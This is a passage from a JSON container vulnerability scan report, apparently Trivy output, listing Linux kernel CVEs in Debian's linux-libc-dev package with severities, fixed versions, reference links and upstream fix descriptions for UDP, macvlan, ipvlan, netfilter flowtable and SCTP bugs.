"pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74705", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:58001aa9779c0ce4886ac98bf37a61cde866ae975ec2b9c35513cf7a054d8aa2", "Title": "kernel: udp: fix potential use-after-free in tunnel segmentation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nudp: fix potential use-after-free in tunnel segmentation\n\n__skb_udp_tunnel_segment() gets the UDP header before ensuring the\ntunnel header is in the skb head. If the pull reallocates skb-\u003ehead,\nthe saved UDP header pointer is no longer valid.\n\nGet the UDP header after the pull to avoid a potential use-after-free.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-74705", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-74705.mbox", "https://git.kernel.org/stable/c/19d89b13a43640b2da2f277ee462d919d988cb6f", "https://git.kernel.org/stable/c/1ae134c012e10384cdac420b5cc6e0615cde0b55", "https://git.kernel.org/stable/c/5161e67c561c4f28a5d9335a6e859b02511de92b", "https://git.kernel.org/stable/c/588d4a6795d99d080f74ef0b5f391ea8c453ae5d", "https://git.kernel.org/stable/c/64d322c288577793eedd352b96ef75234ed380fe", "https://git.kernel.org/stable/c/6a733a38b983d8c2e222f13968209010cf44de87", "https://git.kernel.org/stable/c/b3df61bb745eb5201eac22679a2839d4ccbf3442", "https://git.kernel.org/stable/c/d0f86fb36eb260abd10007b62c9dcc1028e03e61", "https://linux.oracle.com/cve/CVE-2026-74705.html", "https://linux.oracle.com/errata/ELSA-2026-83157.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-74705", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74705" ], "PublishedDate": "2026-08-22T16:16:45.213Z", "LastModifiedDate": "2026-10-16T20:17:53.32Z" }, { "VulnerabilityID": "CVE-2026-74743", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74743", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8ff6e5f3786336b22d2b9e243ac0779f13ae7b966b5ad051a9b90af2275f5588", "Title": "kernel: macvlan: inherit needed_headroom and needed_tailroom from lowerdev", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmacvlan: inherit needed_headroom and needed_tailroom from lowerdev\n\nmacvlan devices inherit hard_header_len from lowerdev during macvlan_init(),\nbut leave needed_headroom and needed_tailroom set to 0.\n\nWhen the underlying lowerdev requires extra headroom or tailroom for\nheaders/trailers (e.g. macsec, ipsec, wireguard, tunnels, or veth with rx\nheadroom), upper layers calculating packet headroom and tailroom fail to\nreserve sufficient space.\n\nThis can result in reallocation overhead, skb headroom underflows, or KASAN\nslab-use-after-free crashes when dev_hard_header() / macvlan_hard_header()\nprepends header data or when lower devices append tailroom.\n\nFix this by:\n1. Inheriting needed_headroom and needed_tailroom from lowerdev in macvlan_init().\n2. Propagating needed_headroom and needed_tailroom updates to attached macvlans\n in macvlan_device_event() when receiving NETDEV_FEAT_CHANGE events.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74743", "https://git.kernel.org/stable/c/28afc87bd8da0b3348bbbd834c8a89e83712cf5e", "https://git.kernel.org/stable/c/7b0eb3e0f363ca79a3af9efd2e87c6258f11da2b", "https://git.kernel.org/stable/c/8cd90e850e434577bf6774778657d26d6995e53f", "https://git.kernel.org/stable/c/8f6a05dbac05725e0786701eb04778c5bdbe4eaa", "https://git.kernel.org/stable/c/96fa90b74385b7f2b0d97251dd43d5ee6ca44668", "https://git.kernel.org/stable/c/bc9a00fb78e32bccc39d763bfd13a450705bac5d", "https://git.kernel.org/stable/c/c2ef3f134b069c54b9cc95cce1a16c38c4939336", "https://git.kernel.org/stable/c/cef51860becd9700217c81732ca1eb1ea6ed6fe1", "https://linux.oracle.com/cve/CVE-2026-74743.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://lore.kernel.org/linux-cve-announce/2026082658-CVE-2026-74743-ba1f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74743", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74743" ], "PublishedDate": "2026-08-26T15:16:53.113Z", "LastModifiedDate": "2026-10-16T20:17:55.833Z" }, { "VulnerabilityID": "CVE-2026-74744", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74744", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0ebb05d07cc6706c2e2c700a5485330f87f738b2f4f411c580db156bcf831cbe", "Title": "kernel: ipvlan: inherit needed_headroom and needed_tailroom from phy_dev", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvlan: inherit needed_headroom and needed_tailroom from phy_dev\n\nipvlan devices inherit hard_header_len from phy_dev during ipvlan_init(),\nbut leave needed_headroom and needed_tailroom set to 0.\n\nWhen the underlying phy_dev (or stacked lower device) requires extra headroom\nor tailroom for headers/trailers (e.g. macsec, ipsec, wireguard, tunnels, or\nveth with rx headroom), upper layers calculating packet headroom and tailroom\nfail to reserve sufficient space.\n\nThis can result in reallocation overhead, skb headroom underflows, or KASAN\nslab-use-after-free crashes when dev_hard_header() / ipvlan_hard_header()\nprepends header data or when lower devices append tailroom.\n\nFix this by:\n1. Inheriting needed_headroom and needed_tailroom from phy_dev in ipvlan_init().\n2. Propagating needed_headroom and needed_tailroom updates to attached ipvlans\n in ipvlan_device_event() when receiving NETDEV_FEAT_CHANGE events.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-74744", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/stable/c/5c2ca77212eb38559b0353b8363b7a84f4b019dd", "https://git.kernel.org/stable/c/5f33188457bbcc1b11ca87084037963c516ed3d9", "https://git.kernel.org/stable/c/af602c4d0ee548da18e2409b4b4da1079625a372", "https://git.kernel.org/stable/c/c0fbe31f6b20ade0465130685859faa5c86fda59", "https://git.kernel.org/stable/c/e16e960d55a40d36bd7c2494cc005e757dc9a1ef", "https://git.kernel.org/stable/c/f3c17ff65f54781cde696e16a6c577615ed735aa", "https://linux.oracle.com/cve/CVE-2026-74744.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://lore.kernel.org/linux-cve-announce/2026082658-CVE-2026-74744-db6f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74744", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74744" ], "PublishedDate": "2026-08-26T15:16:53.25Z", "LastModifiedDate": "2026-10-16T20:17:56Z" }, { "VulnerabilityID": "CVE-2026-74746", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74746", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:80f8298153bc05668c623645c9a24107d8b32058bccd81c7fcde01fde9132d48", "Title": "kernel: netfilter: flowtable: publish GC-visible tuple last", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: flowtable: publish GC-visible tuple last\n\nnf_flow_table_iterate() only treats original-direction tuple nodes as\nowning entries. Publishing the original node first lets GC observe and\nfree a flow while flow_offload_add() is still inserting the reply node.\nPublish the reply node first and the original node last so GC never\nsees a partially installed flow.\n\nKASAN can trigger slab-use-after-free read and write reports in the\nflowtable/rhashtable path (rht_deferred_worker, jhash, flow_offload_del,\nflow_offload_lookup, etc.).", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74746", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/stable/c/0a00254585827f1695aa2700114af622ea754cfa", "https://git.kernel.org/stable/c/2014ac62df9d45bb9a004a043e85df7be09ed780", "https://git.kernel.org/stable/c/211ee5d998d92a7d548811939c65942d06c146e4", "https://git.kernel.org/stable/c/972fdf7c4f5c282a239c88fea614b056c33dc025", "https://git.kernel.org/stable/c/be345dcbddb4643a54252b954af974b16eda8f91", "https://git.kernel.org/stable/c/d16b71231e65cb05daea2b45701fcf09cef041e7", "https://git.kernel.org/stable/c/d37917e7bebe078f3c17e47fd6fc1c9f6e8497b2", "https://git.kernel.org/stable/c/d9d3050a70efe217e73a0751e55fdae6a7092620", "https://linux.oracle.com/cve/CVE-2026-74746.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026082658-CVE-2026-74746-c2f9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74746", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74746" ], "PublishedDate": "2026-08-26T15:16:53.503Z", "LastModifiedDate": "2026-10-16T20:17:56.293Z" }, { "VulnerabilityID": "CVE-2026-74752", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74752", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7831d012b3a34d327b8f30caf239077af36b467f5b2c32cecf8068871a64537d", "Title": "kernel: sctp: validate cookie AUTH state before use", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: validate cookie AUTH state before use\n\nWhen cookie authentication is disabled, COOKIE_ECHO restores fixed-size\nAUTH fields directly from peer-controlled cookie bytes. A forged RANDOM\nlength, HMAC list, or CHUNKS list can then reach association consumers\nwith lengths or identifiers that were never validated against the local\nbacking arrays.\n\nA forged RANDOM length can cause out-of-bounds reads during key-vector\nconstruction. A forged HMAC identifier also caused a 32-byte write past\na zero-length AUTH chunk, providing a primitive for a local privilege\nescalation chain.\n\nValidate the cookie's RANDOM, HMACS, and CHUNKS parameters at the cookie\ntrust boundary before copying them into the association. Reject invalid\ntypes, malformed lengths, unsupported HMAC identifiers, HMAC lists\nwithout SHA1, and forbidden chunk ids.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-74752", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/stable/c/3dbb44d88b1e94dd31fe43588af7437b34b44d56", "https://git.kernel.org/stable/c/4a4410de8dc6903d859c9e1731fc6dcee28bd072", "https://git.kernel.org/stable/c/7f17984cfa697613800eb693e183b06884129bd3", "https://git.kernel.org/stable/c/88619b117be1daf633ce32210570ce35a0bd1c98", "https://linux.oracle.com/cve/CVE-2026-74752.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://lore.kernel.org/linux-cve-announce/2026082600-CVE-2026-74752-6509@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74752", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74752" ], "PublishedDate": "2026-08-26T15:16:54.27Z", "LastModifiedDate": "2026-10-21T13:19:53.613Z" }, { "VulnerabilityID": "CVE-2026-74753", 